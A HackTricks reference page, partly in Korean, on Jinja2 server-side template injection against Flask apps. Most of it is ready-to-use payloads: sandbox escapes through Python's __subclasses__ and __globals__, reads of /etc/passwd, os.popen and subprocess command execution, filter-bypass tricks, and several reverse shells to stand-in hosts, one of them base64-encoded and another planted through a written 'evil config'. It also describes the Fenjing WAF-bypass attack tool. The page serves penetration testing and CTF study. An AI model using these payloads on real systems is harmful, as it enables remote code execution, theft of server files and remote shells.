Jinja2 SSTI
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
랩
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
기타
디버그 문구
디버그 확장이 활성화되면, 현재 컨텍스트와 사용 가능한 필터 및 테스트를 덤프하기 위해 debug
태그를 사용할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 내용을 확인하는 데 유용합니다.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
모든 구성 변수 덤프
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
우선, Jinja injection에서는 샌드박스에서 탈출할 방법을 찾아야 하며, 일반적인 파이썬 실행 흐름에 접근해야 합니다. 이를 위해 비샌드박스 환경에서 온 객체를 악용해야 하며, 이 객체들은 샌드박스에서 접근할 수 있습니다.
Global Objects 접근하기
예를 들어, 코드 render_template("hello.html", username=username, email=email)
에서 객체 username과 email은 비샌드박스 파이썬 환경에서 오며 샌드박스 환경 내에서 접근할 수 있습니다.
게다가, 샌드박스 환경에서 항상 접근할 수 있는 다른 객체들도 있습니다. 이러한 객체들은:
[]
''
()
dict
config
request
Recovering <class 'object'>
그런 다음, 이러한 객체에서 <class 'object'>
클래스에 도달해야 정의된 클래스를 복구하려고 합니다. 이는 이 객체에서 __subclasses__
메서드를 호출하고 비샌드박스된 파이썬 환경의 모든 클래스를 접근할 수 있기 때문입니다.
이 객체 클래스에 접근하려면 클래스 객체에 접근한 다음 __base__
, __mro__()[-1]
또는 .
**mro()[-1]
**에 접근해야 합니다. 그리고 나서, 이 객체 클래스에 도달한 후 **__subclasses__()
**를 호출합니다.
Check these examples:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
복구한 <class 'object'>
와 __subclasses__
를 호출한 후, 이제 우리는 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
__subclasses__
호출을 통해 수백 개의 새로운 함수에 접근할 수 있는 기회를 얻었으며, 우리는 파일 클래스에 접근하여 파일을 읽고/쓰는 것이나 명령을 실행할 수 있는 클래스(예: os
)에 접근하는 것만으로도 기쁠 것입니다.
원격 파일 읽기/쓰기
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
더 많은 클래스를 사용하여 탈출하는 방법을 확인하려면:
필터 우회
일반적인 우회
이 우회는 일부 문자를 사용하지 않고도 객체의 속성에 접근할 수 있게 해줍니다.
우리는 이미 이전 예제에서 이러한 우회 중 일부를 보았지만, 여기에서 요약해 보겠습니다:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- 전역 객체에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요
- 객체 클래스에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요
- 객체 클래스 없이 RCE를 얻으려면 이 내용을 읽으세요
HTML 인코딩 피하기
기본적으로 Flask는 보안상의 이유로 템플릿 내부의 모든 내용을 HTML로 인코딩합니다:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
필터를 사용하면 페이지에 JavaScript와 HTML을 HTML 인코딩되지 않은 상태로 주입할 수 있습니다. 다음과 같이:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
악성 구성 파일 작성으로 RCE.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
여러 문자 없이
{{
.
[
]
}}
_
없이
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection without <class 'object'>
전역 객체에서 해당 클래스를 사용하지 않고 RCE에 도달하는 또 다른 방법이 있습니다.
이 전역 객체 중에서 함수에 접근할 수 있다면, **__globals__.__builtins__
**에 접근할 수 있으며, 그곳에서 RCE는 매우 간단합니다.
다음과 같은 방법으로 request
, config
및 접근할 수 있는 기타 흥미로운 전역 객체에서 함수를 찾을 수 있습니다:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
일단 몇 가지 함수를 찾으면, 다음과 같이 내장 함수를 복구할 수 있습니다:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF 우회
Fenjing https://github.com/Marven11/Fenjing는 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데에도 유용할 수 있습니다. 이 도구는 필터를 감지하기 위해 단어와 쿼리를 뿌려 우회를 찾고, 대화형 콘솔도 제공합니다.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- 여기에서 블랙리스트 문자 우회를 위한 attr 트릭 확인.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.